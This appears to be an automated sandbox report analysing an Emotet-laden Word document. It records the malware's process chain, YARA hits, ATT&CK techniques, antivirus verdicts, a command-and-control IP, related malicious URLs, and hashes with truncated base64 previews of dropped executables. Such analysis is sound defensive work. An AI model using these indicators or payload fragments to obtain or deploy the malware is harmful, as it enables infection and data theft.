Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe

Code function: 7_2_003F9860 GetModuleFileNameW,SHGetFolderPathW,SHGetFolderPathW,OpenSCManagerW,OpenSCManagerW,CloseServiceHandle,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,SHGetFolderPathW,SHGetFolderPathW,

7_2_003F9860

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process created: C:\Windows\SysWOW64\srclient\auditpolmsg.exe C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process created: C:\Windows\SysWOW64\mfc110\wcnwiz.exe C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process created: C:\Windows\SysWOW64\capiprovider\SampleRes.exe C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process created: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process created: C:\Windows\SysWOW64\KBDNO\mfc140.exe C:\Windows\SysWOW64\KBDNO\mfc140.exe	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process created: C:\Windows\SysWOW64\advapi32\ieframe.exe C:\Windows\SysWOW64\advapi32\ieframe.exe	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process created: C:\Windows\SysWOW64\nshipsec\cryptdll.exe C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process created: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Jump to behavior

Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe

Code function: 7_2_003F80A0 SetFileInformationByHandle,GetSystemTimeAsFileTime,_snwprintf,GetProcessHeap,HeapFree,CreateFileW,CreateFileW,CloseHandle,

7_2_003F80A0

Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe

Code function: 15_2_004853D0 RtlGetVersion,GetNativeSystemInfo,GetNativeSystemInfo,

15_2_004853D0

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2262096055.0000000000548000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2266631097.0000000000578000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2252976219.0000000000588000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2292365132.00000000008C4000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2286180989.0000000000908000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2257551859.00000000005F8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2276010487.00000000005F8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2335114479.00000000002B4000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2256830860.0000000000586000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2285331820.00000000008E4000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2280766001.0000000000928000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2265953499.0000000000546000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2271093826.0000000000576000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2263042599.00000000005F6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2276502729.00000000005E6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2271289978.00000000005E8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2280282398.00000000005F6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2292126114.00000000002F8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 12.2.mfc140.exe.3e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.SampleRes.exe.7b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.ieframe.exe.320000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.cryptdll.exe.620000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wlanui.exe.480000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.tmp_e473b4.exe.3f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.NlsData0414.exe.2b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wcnwiz.exe.3b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.auditpolmsg.exe.360000.1.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation11	Windows Service12	Windows Service12	Disable or Modify Tools1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Data Encrypted for Impact1
Default Accounts	Scripting12	Boot or Logon Initialization Scripts	Process Injection11	Scripting12	LSASS Memory	System Service Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Encrypted Channel2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information21	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Exploitation for Client Execution11	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	System Information Discovery17	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Command and Scripting Interpreter1	Network Logon Script	Network Logon Script	File Deletion1	LSA Secrets	Security Software Discovery111	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Service Execution11	Rc.common	Rc.common	Masquerading231	Cached Domain Credentials	Virtualization/Sandbox Evasion1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion1	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection11	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Hidden Files and Directories1	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sample1.doc	62%	Virustotal		Browse
sample1.doc	46%	Metadefender		Browse
sample1.doc	72%	ReversingLabs	Document-Word.Trojan.Valyria
sample1.doc	100%	Avira	HEUR/Macro.Downloader.MRYT.Gen
sample1.doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Ksh1.pdf	100%	Avira	TR/Casdet.xqfgu
C:\Users\Public\Ksh1.pdf	100%	Joe Sandbox ML
C:\Users\Public\Ksh1.pdf	41%	Metadefender		Browse
C:\Users\Public\Ksh1.pdf	64%	ReversingLabs	Win32.Trojan.Malrep

Unpacked PE Files

Source	Detection	Scanner	Label	Download
13.2.ieframe.exe.320000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.1.wcnwiz.exe.39b0000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
14.1.cryptdll.exe.3ab0000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
7.1.tmp_e473b4.exe.3a20000.2.unpack	100%	Avira	TR/Dropper.Gen	Download File
12.2.mfc140.exe.3e0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.1.ieframe.exe.39f0000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
9.0.wcnwiz.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
10.2.SampleRes.exe.7b0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.0.tmp_e473b4.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
10.1.SampleRes.exe.39e0000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
15.2.wlanui.exe.480000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.2.cryptdll.exe.620000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.wlanui.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
13.0.ieframe.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
8.0.auditpolmsg.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
7.1.tmp_e473b4.exe.3a20000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
14.0.cryptdll.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
12.1.mfc140.exe.3980000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
12.0.mfc140.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
8.1.auditpolmsg.exe.39b0000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
7.2.tmp_e473b4.exe.3f0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.NlsData0414.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
10.0.SampleRes.exe.400000.0.unpack	100%	Avira	TR/AD.Emotet.fao	Download File
11.1.NlsData0414.exe.39c0000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.2.NlsData0414.exe.2b0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.wcnwiz.exe.3b0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
8.2.auditpolmsg.exe.360000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
https://pornthash.mobi/videos/tayna_tung	0%	Avira URL Cloud	safe
https://pornthash.mobi/videos/tayna_tung%temp%/tmp_e473b4.exex	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.%s.comPA	certutil.exe, 00000001.00000002.2223417988.00000000022A0000.00000002.00000001.sdmp, tmp_e473b4.exe, 00000007.00000002.2258709906.00000000030D0000.00000002.00000001.sdmp, auditpolmsg.exe, 00000008.00000002.2265231662.0000000002F30000.00000002.00000001.sdmp, wcnwiz.exe, 00000009.00000002.2269936188.0000000003060000.00000002.00000001.sdmp, SampleRes.exe, 0000000A.00000002.2273974582.0000000002F20000.00000002.00000001.sdmp, NlsData0414.exe, 0000000B.00000002.2278988967.0000000003000000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://pornthash.mobi/videos/tayna_tung	certutil.exe, 00000001.00000002.2223923762.0000000002770000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	certutil.exe, 00000001.00000002.2223417988.00000000022A0000.00000002.00000001.sdmp, tmp_e473b4.exe, 00000007.00000002.2258709906.00000000030D0000.00000002.00000001.sdmp, auditpolmsg.exe, 00000008.00000002.2265231662.0000000002F30000.00000002.00000001.sdmp, wcnwiz.exe, 00000009.00000002.2269936188.0000000003060000.00000002.00000001.sdmp, SampleRes.exe, 0000000A.00000002.2273974582.0000000002F20000.00000002.00000001.sdmp, NlsData0414.exe, 0000000B.00000002.2278988967.0000000003000000.00000002.00000001.sdmp	false		high
https://pornthash.mobi/videos/tayna_tung%temp%/tmp_e473b4.exex	certutil.exe, 00000001.00000002.2223923762.0000000002770000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
177.130.51.198	unknown	Brazil		52747	WspServicosdeTelecomunicacoesLtdaBR	true

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	339446
Start date:	14.01.2021
Start time:	03:59:37
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	sample1.bin (renamed file extension from bin to doc)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winDOC@20/19@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 59.1% (good quality ratio 54.9%) Quality average: 65.3% Quality standard deviation: 27.9%
HCA Information:	Successful, ratio: 92% Number of executed functions: 163 Number of non-executed functions: 118
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, rundll32.exe, conhost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:01:45	API Interceptor	223x Sleep call for process: svchost.exe modified
04:01:59	API Interceptor	11x Sleep call for process: tmp_e473b4.exe modified
04:02:01	API Interceptor	9x Sleep call for process: auditpolmsg.exe modified
04:02:03	API Interceptor	10x Sleep call for process: wcnwiz.exe modified
04:02:05	API Interceptor	11x Sleep call for process: SampleRes.exe modified
04:02:08	API Interceptor	10x Sleep call for process: NlsData0414.exe modified
04:02:10	API Interceptor	11x Sleep call for process: mfc140.exe modified
04:02:12	API Interceptor	13x Sleep call for process: ieframe.exe modified
04:02:15	API Interceptor	11x Sleep call for process: cryptdll.exe modified
04:02:17	API Interceptor	204x Sleep call for process: wlanui.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
177.130.51.198	task5.doc	Get hash	malicious	Browse
	P7Ya8tCZGu.exe	Get hash	malicious	Browse
	A4Y5PZQuwQ.exe	Get hash	malicious	Browse
	E8ykSGwVtp.exe	Get hash	malicious	Browse
	Pc3hLrhR6C.exe	Get hash	malicious	Browse
	MzQN95jvoX.exe	Get hash	malicious	Browse
	77CJzpSlkv.exe	Get hash	malicious	Browse
	AGWH4hi4Ig.exe	Get hash	malicious	Browse
	1FFfIHDjlS.exe	Get hash	malicious	Browse
	http://gestione.co/wp-content/lm/27649110/qnbbw9ja1scf-0040/	Get hash	malicious	Browse
	http://gestione.co/wp-content/lm/27649110/qnbbw9ja1scf-0040/	Get hash	malicious	Browse
	https://fiera-deutzfahr.com/wp-admin/Overview/6555921/6uw9g10b-0079388/	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WspServicosdeTelecomunicacoesLtdaBR	sample1.doc	Get hash	malicious	Browse	177.130.51.198
	task5.doc	Get hash	malicious	Browse	177.130.51.198
	P7Ya8tCZGu.exe	Get hash	malicious	Browse	177.130.51.198
	A4Y5PZQuwQ.exe	Get hash	malicious	Browse	177.130.51.198
	E8ykSGwVtp.exe	Get hash	malicious	Browse	177.130.51.198
	Pc3hLrhR6C.exe	Get hash	malicious	Browse	177.130.51.198
	MzQN95jvoX.exe	Get hash	malicious	Browse	177.130.51.198
	77CJzpSlkv.exe	Get hash	malicious	Browse	177.130.51.198
	AGWH4hi4Ig.exe	Get hash	malicious	Browse	177.130.51.198
	1FFfIHDjlS.exe	Get hash	malicious	Browse	177.130.51.198
	http://gestione.co/wp-content/lm/27649110/qnbbw9ja1scf-0040/	Get hash	malicious	Browse	177.130.51.198
	http://gestione.co/wp-content/lm/27649110/qnbbw9ja1scf-0040/	Get hash	malicious	Browse	177.130.51.198
	https://fiera-deutzfahr.com/wp-admin/Overview/6555921/6uw9g10b-0079388/	Get hash	malicious	Browse	177.130.51.198

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\Public\Ksh1.pdf	sample1.doc	Get hash	malicious	Browse
	sample1.doc	Get hash	malicious	Browse
	task5.doc	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0001.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	598272
Entropy (8bit):	5.856822353998229
Encrypted:	false
SSDEEP:	12288:FmkwUHZaSyYGKFaaGXuG7ttehnyragYqyPhU:FmkVZm2hnyDxAC
MD5:	7E9AB23E4F7C98AF0A03B64E3C14D7F6
SHA1:	BAD0DC91FB2929FDBF66E569257BABA97E1EC233
SHA-256:	532A6B3137804F51266923EBB06FA6DE43022C2B14F14F6785DDFDA8CA4238EE
SHA-512:	014420FD9C97DBCFF01E11E385E392D8F9AB91D238A418E76C72CD1CD191D2BEE17E7442398C20BA229AD25B0461778F76A88039B1810E20E88A0FE58C434789
Malicious:	false
Reputation:	low
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAApTiijbS9G8G0vRvBtL0bw2bO38GcvRvDZs7XwGi9G8NmztPB1L0bwP0dD8U0vRvA/R0LxYi9G8D9HRfF+L0bwZFfV8GgvRvBtL0fwCS9G8PdGT/FsL0bw90ZG8WwvRvD3RrnwbC9G8G0v0fBsL0bw90ZE8WwvRvBSaWNobS9G8AAAAAAAAAAAUEUAAEwBBQAr7ZhfAAAAAAAAAADgAAIhCwEOEAAUAQAAxAUAAAAAAGR9AAAAEAAAADABAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAEAcAAAQAAAAAAAADAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAEIUBAEgAAABYhQEAPAAAAACwAQBQQgUAAAAAAAAAAAAAAAAAAAAAAAAABwCIDgAAMHwBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABofAEAQAAAAAAAAAAAAAAAADABADgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGcSAQAAEAAAABQBAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABkXAAAADABAABeAAAAGAEAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA6BEAAACQAQAACAAAAHYBAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAFBCBQAAsAEAAEQFAAB+AQAAAAAAAAAAAAAAAABAAABALnJlbG9jAACIDgAAAAAHAAAQAAAAwgYAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0002.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1191944
Entropy (8bit):	3.9253267830463896
Encrypted:	false
SSDEEP:	12288:ade8HF9kUxyxlFnsn4yA9W8MZ5axhVYGByJGZGy9e3rfTqtTfLlR1xwSaf67HNu4:me8HFmU/4yA9W89VYU7sY7yz1DsVirpI
MD5:	DA122309698B26E96848A6A829EEF5C1
SHA1:	DFA1B8C96C19827A595EEB15B2EC5386F9746CEF
SHA-256:	26585F7107FBECBA9F5282D4C1F1783441C60187057133121BD40D5C31C6149A
SHA-512:	4318F2A585966FC03A86D566819F06F15A93BE1616231FC34E4C5B7F0B6317083654B7F9C446D250D91C25176853B8CEB42504419D35ECD7F8DEC4C6048B5D7D
Malicious:	false
Preview:	T.V.q.Q.A.A.M.A.A.A.A.E.A.A.A.A././.8.A.A.L.g.A.A.A.A.A.A.A.A.A.Q.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.A.C.A.E.A.A.A.4.f.u.g.4.A.t.A.n.N.I.b.g.B.T.M.0.h.V.G.h.p.c.y.B.w.c.m.9.n.c.m.F.t.I.G.N.h.b.m.5.v.d.C.B.i.Z.S.B.y.d.W.4.g.a.W.4.g.R.E.9.T.I.G.1.v.Z.G.U.u.D.Q.0.K.J.A.A.A.A.A.A.A.A.A.A.p.T.i.i.j.b.S.9.G.8.G.0.v.R.v.B.t.L.0.b.w.2.b.O.3.8.G.c.v.R.v.D.Z.s.7.X.w.G.i.9.G.8.N.m.z.t.P.B.1.L.0.b.w.P.0.d.D.8.U.0.v.R.v.A./.R.0.L.x.Y.i.9.G.8.D.9.H.R.f.F.+.L.0.b.w.Z.F.f.V.8.G.g.v.R.v.B.t.L.0.f.w.C.S.9.G.8.P.d.G.T./.F.s.L.0.b.w.9.0.Z.G.8.W.w.v.R.v.D.3.R.r.n.w.b.C.9.G.8.G.0.v.0.f.B.s.L.0.b.w.9.0.Z.E.8.W.w.v.R.v.B.S.a.W.N.o.b.S.9.G.8.A.A.A.A.A.A.A.A.A.A.A.U.E.U.A.A.E.w.B.B.Q.A.r.7.Z.h.f.A.A.A.A.A.A.A.A.A.A.D.g.A.A.I.h.C.w.E.O.E.A.A.U.A.Q.A.A.x.A.U.A.A.A.A.A.A.G.R.9.A.A.A.A.E.A.A.A.A.D.A.B.A.A.A.A.A.B.A.A.E.A.A.A.A.A.I.A.A.A.U.A.A.Q.A.A.A.A.A.A.B.Q.A.B.A.A.A.A.A.A.A.A.E.A.c.A.A.A.Q.A.A.A.A.A.A.A.A.D.A.E.A.B.A.A.A.Q.A.A.A.Q.A.A.A.A.A.B.A.A.A.B.A.A.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0003.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	600580
Entropy (8bit):	5.850565167047853
Encrypted:	false
SSDEEP:	12288:nmkTbcqi+vjtKTA4rWgRRtgqDnygr6Yq/PWY:nmkvdbKDnyzx35
MD5:	1D35754EDB0B7AA76891735215FC048A
SHA1:	E0B1C34B3C39C1F097B7A3749174D098DC51E265
SHA-256:	C31DBCD8F7F979CB09159FE60B70A0C8F7A58C5E67EA8522E031F0BC5DF8A348
SHA-512:	6851E23E0FBFF103D5BDCE5CDC4D425C070D8E72BA66525CD2F85255F5BF3921C434C371B1459F184468546670AC26FD307035572E12DF84D1172517E8202A07
Malicious:	false
Preview:	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAApTiijbS9G8G0vRvBtL0bw2bO38GcvRvDZs7XwGi9G8NmztPB1L0bwP0dD8U0vRvA/R0LxYi9G8D9HRfF+L0bwZFfV8GgvRvBtL0fwCS9G8PdGT/FsL0bw90ZG8WwvRvD3RrnwbC9G8G0v0fBsL0bw90ZE8WwvRvBSaWNobS9G8AAAAAAAAAAAUEUAAEwBBQAr7ZhfAAAAAAAAAADgAAIhCwEOEAAUAQAAxAUAAAAAAGR9AAAAEAAAADABAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAEAcAAAQAAAAAAAADAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAEIUBAEgAAABYhQEAPAAAAACwAQBQQgUAAAAAAAAAAAAAAAAAAAAAAAAABwCIDgAAMHwBADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABofAEAQAAAAAAAAAAAAAAAADABADgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGcSAQAAEAAAABQBAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABkXAAAADABAABeAAAAGAEAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA6BEAAACQAQAACAAAAHYBAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAFBCBQAAsAEAAEQFAAB+AQAAAAAAAAAAAAAAAABAAABALnJlbG9jAACIDgAAAAAHAAAQAAAAwgYAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0005.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	598272
Entropy (8bit):	5.856822353998229
Encrypted:	false
SSDEEP:	12288:FmkwUHZaSyYGKFaaGXuG7ttehnyragYqyPhU:FmkVZm2hnyDxAC
MD5:	7E9AB23E4F7C98AF0A03B64E3C14D7F6
SHA1:	BAD0DC91FB2929FDBF66E569257BABA97E1EC233
SHA-256:	532A6B3137804F51266923EBB06FA6DE43022C2B14F14F6785DDFDA8CA4238EE
SHA-512:	014420FD9C97DBCFF01E11E385E392D8F9AB91D238A418E76C72CD1CD191D2BEE17E7442398C20BA229AD25B0461778F76A88039B1810E20E88A0FE58C434789
Malicious:	false
